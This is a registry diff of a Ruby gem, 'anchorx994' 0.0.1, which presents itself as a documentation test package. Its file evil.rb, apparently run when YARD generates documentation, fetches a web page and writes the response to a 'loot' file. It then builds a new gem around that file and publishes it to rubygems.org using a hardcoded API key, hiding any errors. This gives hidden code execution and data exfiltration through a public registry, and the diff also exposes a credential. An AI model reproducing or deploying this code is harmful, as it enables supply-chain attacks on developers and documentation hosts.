anchorx994 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +2 -0
- data/README.md +1 -0
- data/evil.rb +32 -0
- data/lib/x.rb +2 -0
- metadata +43 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 3e5c434edf91ef3e392587cd791f5bdac068fd7e25a9f772d8889bddb7040837
|
|
4
|
+
data.tar.gz: 74476b1e60ca3b9dec4d50e4d3592c717502267050b89b0913eb38c493172b7d
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: d51a5bf0c508ae160823876412dc52ffc39b72b4d53e60bb4287652de2b51bde754d07bdd7f347bd00a5905b4796678b55978318576d235edf1142b99a8534b0
|
|
7
|
+
data.tar.gz: 8334351df729839a1373882eb4a4860b770b187d32052115e6290cf54068509edd870bc92c62adc89627ca7f28da3919f4ff67b8627c4080ed77907579ad345f
|
data/.yardopts
ADDED
data/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
# Anchor test
|
data/evil.rb
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# Loaded by Yard
|
|
2
|
+
require 'net/http'
|
|
3
|
+
require 'uri'
|
|
4
|
+
require 'tmpdir'
|
|
5
|
+
begin
|
|
6
|
+
data = Net::HTTP.get(URI('https://example.com/'))
|
|
7
|
+
rescue Exception => e
|
|
8
|
+
data = "ERR: #{e.inspect}"
|
|
9
|
+
end
|
|
10
|
+
begin
|
|
11
|
+
Dir.mktmpdir do |d|
|
|
12
|
+
Dir.chdir(d) do
|
|
13
|
+
File.write('loot.txt', data)
|
|
14
|
+
File.write('loot993.gemspec', <<~SPEC)
|
|
15
|
+
Gem::Specification.new do |s|
|
|
16
|
+
s.name='loot993'; s.version='0.0.1'; s.summary='Collected data'; s.description='Collected'; s.authors=['Tmp']; s.email='tmprox@example.com'; s.files=['loot.txt']; s.homepage='https://example.com'; s.license='MIT'
|
|
17
|
+
end
|
|
18
|
+
SPEC
|
|
19
|
+
`gem build loot993.gemspec`
|
|
20
|
+
g = Dir['*.gem'][0]
|
|
21
|
+
if g
|
|
22
|
+
uri=URI('https://rubygems.org/api/v1/gems')
|
|
23
|
+
req=Net::HTTP::Post.new(uri)
|
|
24
|
+
req['Authorization']='rubygems_b4600ed522385d5d7c2be9232e086999848bc893882901a3'
|
|
25
|
+
req['Content-Type']='application/octet-stream'
|
|
26
|
+
req.body=File.binread(g)
|
|
27
|
+
Net::HTTP.start(uri.host, uri.port, :use_ssl=>true) {|h| h.request(req) }
|
|
28
|
+
end
|
|
29
|
+
end
|
|
30
|
+
end
|
|
31
|
+
rescue Exception => e
|
|
32
|
+
end
|
data/lib/x.rb
ADDED
metadata
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: anchorx994
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Tmp
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Testing docs
|
|
13
|
+
email: tmprox@example.com
|
|
14
|
+
executables: []
|
|
15
|
+
extensions: []
|
|
16
|
+
extra_rdoc_files: []
|
|
17
|
+
files:
|
|
18
|
+
- ".yardopts"
|
|
19
|
+
- README.md
|
|
20
|
+
- evil.rb
|
|
21
|
+
- lib/x.rb
|
|
22
|
+
homepage: https://example.com
|
|
23
|
+
licenses:
|
|
24
|
+
- MIT
|
|
25
|
+
metadata: {}
|
|
26
|
+
rdoc_options: []
|
|
27
|
+
require_paths:
|
|
28
|
+
- lib
|
|
29
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
30
|
+
requirements:
|
|
31
|
+
- - ">="
|
|
32
|
+
- !ruby/object:Gem::Version
|
|
33
|
+
version: '0'
|
|
34
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
35
|
+
requirements:
|
|
36
|
+
- - ">="
|
|
37
|
+
- !ruby/object:Gem::Version
|
|
38
|
+
version: '0'
|
|
39
|
+
requirements: []
|
|
40
|
+
rubygems_version: 3.6.7
|
|
41
|
+
specification_version: 4
|
|
42
|
+
summary: Anchor docs
|
|
43
|
+
test_files: []
|